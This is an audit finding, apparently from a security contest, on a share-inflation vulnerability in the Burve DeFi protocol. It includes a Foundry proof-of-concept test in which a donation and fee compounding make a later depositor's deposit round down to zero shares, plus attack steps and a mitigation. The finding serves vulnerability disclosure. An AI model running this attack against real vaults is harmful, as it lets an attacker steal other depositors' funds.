Early Infrared Albatross

Medium

# Liquidity normalization makes inflation attack protection vulnerable

### Summary

Burve uses a deadShare of 100 to protect against inflation attacks, which is a relatively small defense value. Then due to the design of the protocol, the increased liquidity when V3 compounding fees will increase the totalNominalLiq in proportion to the weight of the island, which makes the protection against inflation attacks more Vulnerable.

### Root Cause

According to the [discussion](https://forum.openzeppelin.com/t/erc4626-inflation-attack-discussion/41643), deadShare cannot completely defend against inflation attacks.
> For instance, an attacker initially deposits 2 wei, receiving 1 wei as a share and leaving 1 wei as a dead share. Subsequently, the attacker can donate 200e18 tokens to the vault
before another user deposits 100e18 tokens. In this scenario, the user receives 0 shares
because shareAmountOut = assetsIn * totalSupply / totalAssets = 100e18 * 2 / (200e18 + 2) = 0. Consequently, 2 share tokens can acquire 300e18 assets (200e18 + 100e18), enabling attacker to obtain 150e18 assets by 1 share. Although this appears to result in a loss of 50e18 assets for the attacker, in reality, anyone depositing less than 100e18 assets will receive 0 shares, allowing the attacker to gain more assets per share.

In [`Burve.sol:27`](https://github.com/sherlock-audit/2025-04-burve-thereksfour//blob/5ade42e1baf8357f39e3ac6c001c290f39f9d31a/Burve/src/single/Burve.sol#L27-L28), the protocol uses a deadShare of 100, but in [`Burve.sol:886`](https://github.com/sherlock-audit/2025-04-burve-thereksfour//blob/5ade42e1baf8357f39e3ac6c001c290f39f9d31a/Burve/src/single/Burve.sol#L886-L900), due to the design of the protocol, V3 compounding fees will not be deposited into island, but the corresponding liquidity of island will be increased in totalNominalLiq, resulting in users being able to inflate totalNominalLiq with very little liquidity, that is, inflate the value per share, thereby reducing the equivalent deadShare.

In the test, the actual effect of deadShare is equivalent to 100/(weight[island]/weight[V3]), that is, the heavier the island weight, the lower the equivalent deadShare.

In the test, make `weights[island] == 20`, `weights[V3] == 1`.
```solidity
        uint128[] memory weights = new uint128[](2);
        weights[0] = 20;
        weights[1] = 1;

        burve = new BurveExposedInternal(
            Mainnet.KODIAK_WBERA_HONEY_POOL_V3,
            Mainnet.KODIAK_WBERA_HONEY_ISLAND,
            address(stationProxy),
            ranges,
            weights
        );
```
After that, 100 deadShares are minted to burve and 100 shares are minted to alice.
```solidity
        uint128 deadLiq = 100;
        (uint256 deadShares, uint256 deadIslandShares) = deadShareMint(
            address(burve),
            deadLiq
        );

        uint128 liq = 100;
        // deal required tokens
        deal(address(token0), address(alice), 1e18);
        deal(address(token1), address(alice), 1e18);
        
        vm.startPrank(alice);

        // approve transfer
        token0.approve(address(burve), 1e18);
        token1.approve(address(burve), 1e18);

        burve.mint(address(alice), liq, 0, type(uint128).max);
        vm.stopPrank();
```
Then, donate 1.5e18 token0 and 4.5e18 token1 to burve, and trigger compounding fees.

**Note that these tokens are only equivalent to about 9.9e18 liquidity of V3, but since island's liquidity will increase in proportion to its weight, island will increase its liquidity by 198e18, so totalNominalLiq will increase by about 208e18. The attacker can inflate a larger value per share by donating fewer tokens.**
```solidity
        deal(address(token0), address(burve), 1.5e18);
        deal(address(token1), address(burve), 4.5e18);
        burve.compoundV3RangesExposed();
        console.log(burve.totalNominalLiq()); // 208e18
        console.log(burve.totalShares());    // 200
```
Afterwards, the victim mints 1e18 liquidity. Since mintNominalLiq * totalShares / totalNominalLiq = 1e18 * 200 / 208e18 will be rounded down to 0, the victim will not receive any shares, and the tokens deposited by the victim will be stolen by deadShare and the attacker.
```solidity
        vm.startPrank(charlie);

        token0.approve(address(burve), 1e18);
        token1.approve(address(burve), 1e18);

        (uint256 queryAlice0, uint256 queryAlice1) = burve.queryValue(alice);
        console.log(queryAlice0,queryAlice1); // 0.75e18, 2.20e18
        // mint
        burve.mint(address(charlie), 1e18, 0, type(uint128).max);
        console.log(burve.balanceOf(charlie)); // 0

        (queryAlice0, queryAlice1) = burve.queryValue(alice);
        console.log(queryAlice0,queryAlice1);// 0.754e18, 2.21e18
        vm.stopPrank();
```
Although the attacker lost a portion of the donated tokens (1/2 in the example), every time other users deposit tokens, they will lose up to 1 share of value each time. Since the value per share is high, the attacker can quickly make profits.

### Internal Pre-conditions

None

### External Pre-conditions

None

### Attack Path

1. The attacker deposits tokens.
2. The attacker donates tokens to increase the value per share
3. The victim loses tokens when depositing due to precision loss, and the attacker can steal them.

### Impact

This issue makes the protocol vulnerable to inflation attacks, which attackers can exploit to steal the assets of other depositors.

### PoC

```solidity
    function test_Mint_SenderIsRecipient() public forkOnly {
        uint128 deadLiq = 100;
        (uint256 deadShares, uint256 deadIslandShares) = deadShareMint(
            address(burve),
            deadLiq
        );

        uint128 liq = 100;
        // deal required tokens
        deal(address(token0), address(alice), 1e18);
        deal(address(token1), address(alice), 1e18);
        
        vm.startPrank(alice);

        // approve transfer
        token0.approve(address(burve), 1e18);
        token1.approve(address(burve), 1e18);

        burve.mint(address(alice), liq, 0, type(uint128).max);
        vm.stopPrank();

        deal(address(token0), address(burve), 1.5e18);
        deal(address(token1), address(burve), 4.5e18);
        burve.compoundV3RangesExposed();
        console.log(burve.totalNominalLiq()); // 208e18
        console.log(burve.totalShares());    // 200
        deal(address(token0), address(charlie), 1e18);
        deal(address(token1), address(charlie), 1e18);

        vm.startPrank(charlie);

        token0.approve(address(burve), 1e18);
        token1.approve(address(burve), 1e18);

        (uint256 queryAlice0, uint256 queryAlice1) = burve.queryValue(alice);
        console.log(queryAlice0,queryAlice1); // 0.75e18, 2.20e18
        // mint
        burve.mint(address(charlie), 1e18, 0, type(uint128).max);
        console.log(burve.balanceOf(charlie)); // 0

        (queryAlice0, queryAlice1) = burve.queryValue(alice);
        console.log(queryAlice0,queryAlice1);// 0.754e18, 2.21e18
        vm.stopPrank();
    }
```

### Mitigation

It is recommended to increase the number of deadShares or limit the weight ratio.